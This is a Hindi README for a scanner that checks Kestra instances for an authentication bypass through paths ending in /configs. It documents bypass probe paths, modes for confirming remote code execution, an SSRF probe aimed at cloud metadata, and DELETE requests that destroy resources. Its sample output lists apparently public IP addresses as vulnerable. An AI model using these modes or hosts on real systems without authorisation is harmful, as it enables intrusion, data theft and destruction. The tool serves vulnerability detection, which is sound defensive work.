Kestra CVE-2026-49869 / CVE-2026-53576 स्कैनर
Kestra इंस्टेंस को endsWith("/configs") प्रमाणीकरण फ़िल्टर बाईपास के लिए स्कैन करता है। Kestra का AuthenticationFilter.java सटीक पथ /api/v1/configs के मिलान के बजाय request.getPath().endsWith("/configs") की जाँच करता है। चूंकि Kestra संसाधनों को कॉलर-चयनित पथ खंडों (नेमस्पेस, फ्लो आईडी) के माध्यम से संबोधित करता है, /configs में समाप्त होने वाला कोई भी पथ बेसिक-प्रमाणीकरण को बायपास करता है जिससे अप्रमाणित फ्लो निर्माण और आरसीई संभव हो पाता है। (CVSS 10.0)
संदर्भ:
पहचान तर्क
- जीवितता + संस्करण जाँच
GET /api/v1/configs (200 लौटना चाहिए; Kestra संस्करण के लिए प्रतिक्रिया निकाय पार्स किया जाता है)
- प्रमाणीकरण जाँच
GET /api/v1/{tenant}/flows (यदि प्रमाणीकरण लागू है तो 401/403 लौटना चाहिए)
- बाईपास प्रोब
/configs में समाप्त होने वाले पथों पर 6 GET अनुरोध; यदि कोई भी 401/403 नहीं लौटाता है जबकि प्रमाणीकरण जाँच लागू होती है, तो इंस्टेंस असुरक्षित है
- आक्रामक मोड (
--aggressive) लिखने-बाईपास क्षमता की पुष्टि करने के लिए PUT अनुरोध भी भेजता है
- आरसीई सत्यापन (
--rce) पूर्ण श्रृंखला: शेल/पायथन फ्लो बनाएँ → निष्पादन ट्रिगर करें → लॉग प्राप्त करें → कोड निष्पादन की पुष्टि करें → सफाई करें
- SSRF पहचान (
--ssrf) Pebble के http() का उपयोग करके AWS/GCP/Azure क्लाउड मेटाडेटा और आंतरिक एंडपॉइंट को लक्षित करने वाला एक फ्लो बनाता है, फिर सबूत के लिए लॉग की जाँच करता है
- DELETE प्रोब (
--destructive) फ्लो, डैशबोर्ड और लॉग बाईपास पथों पर DELETE भेजता है ताकि विनाशकारी संचालन बाईपास की पुष्टि हो सके
प्रोब एंडपॉइंट्स
सुरक्षित प्रोब (डिफ़ॉल्ट)
आक्रामक प्रोब (--aggressive)
| प्रोब | विधि | पथ | विवरण |
|---|
| फ्लो PUT बाईपास |
विनाशकारी प्रोब (--destructive)
आरसीई सत्यापन श्रृंखला (--rce)
तभी चलता है जब प्रमाणीकरण बाईपास की पुष्टि हो। परामर्श से पूर्ण श्रृंखला:
SSRF पहचान श्रृंखला (--ssrf)
तभी चलता है जब प्रमाणीकरण बाईपास की पुष्टि हो:
CLI संदर्भ
positional:
target Single target URL (e.g. http://localhost:8080)
options:
-f, --file File with targets (one per line)
-t, --timeout Request timeout in seconds (default: 10)
--verify-ssl Verify TLS certificates
-j, --json Output JSON to stdout
-o, --output Write JSON report to file
--tenant Tenant name (default: "main")
--namespace Namespace for bypass paths (default: "tutorial")
-w, --workers Thread count for bulk scans (default: 10)
-a, --aggressive Send PUT requests to confirm write bypass
-P, --auto-ports Ports for auto-expand (default: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce Enable RCE verification chain (shell + python flow,
execution trigger, log retrieval, auto-cleanup)
-s, --ssrf Enable SSRF detection (Pebble http() to cloud metadata
endpoints, log-based evidence collection)
-d, --destructive Enable DELETE probes on flows, dashboards, and logs
(WILL delete resources on vulnerable instances)
--poll-interval Seconds between log polls for RCE/SSRF chains (default: 3)
--poll-retries Max log poll attempts for RCE/SSRF chains (default: 10)
आउटपुट
एकल लक्ष्य
प्रति-प्रोब विवरण संवर्धन (संस्करण, RCE, SSRF, DELETE स्थिति) और निर्णय के साथ:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
बल्क सारांश
RCE/SSRF/DEL फ्लैग कॉलम के साथ क्रमबद्ध सारणीबद्ध तालिका:
========================================================================================================================================
BULK SCAN SUMMARY GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 YES YES YES RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - YES VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Total: 258 | Vulnerable: 5 | RCE Confirmed: 1 | SSRF Detected: 1 | DEL Bypass: 2 | Safe: 29 | Inconclusive: 224
========================================================================================================================================
निकास कोड: 0 = कोई भेद्यता नहीं, 1 = भेद्यता मिली, 2 = सभी अनिर्णायक।
JSON रिपोर्ट
-j या -o का उपयोग करने पर, आउटपुट में प्रति लक्ष्य संवर्धन फ़ील्ड शामिल होते हैं:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
संस्करण पहचान
स्कैनर स्वचालित रूप से GET /api/v1/configs प्रतिक्रिया से Kestra संस्करण निकालता है और इसे वर्गीकृत करता है:
यह शाखा-जागरूक तुलना का उपयोग करता है क्योंकि Kestra अलग-अलग पैच शाखाओं (1.0.x और 1.3.x) का रखरखाव करता है।
v1.0.0
- सुरक्षित GET प्रोब, आक्रामक PUT प्रोब, बल्क स्कैनिंग और JSON आउटपुट के साथ प्रारंभिक रिलीज़
स्थापना
Python 3.10+ की आवश्यकता है।
pip install -r requirements.txt
python main.py --help
अस्वीकरण
केवल अधिकृत रक्षात्मक परीक्षण के लिए। --rce और --destructive फ्लैग लक्ष्य पर वास्तविक संसाधन बनाते और निष्पादित करते हैं। उन सिस्टमों को स्कैन करने से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें जिनके आप स्वामी नहीं हैं।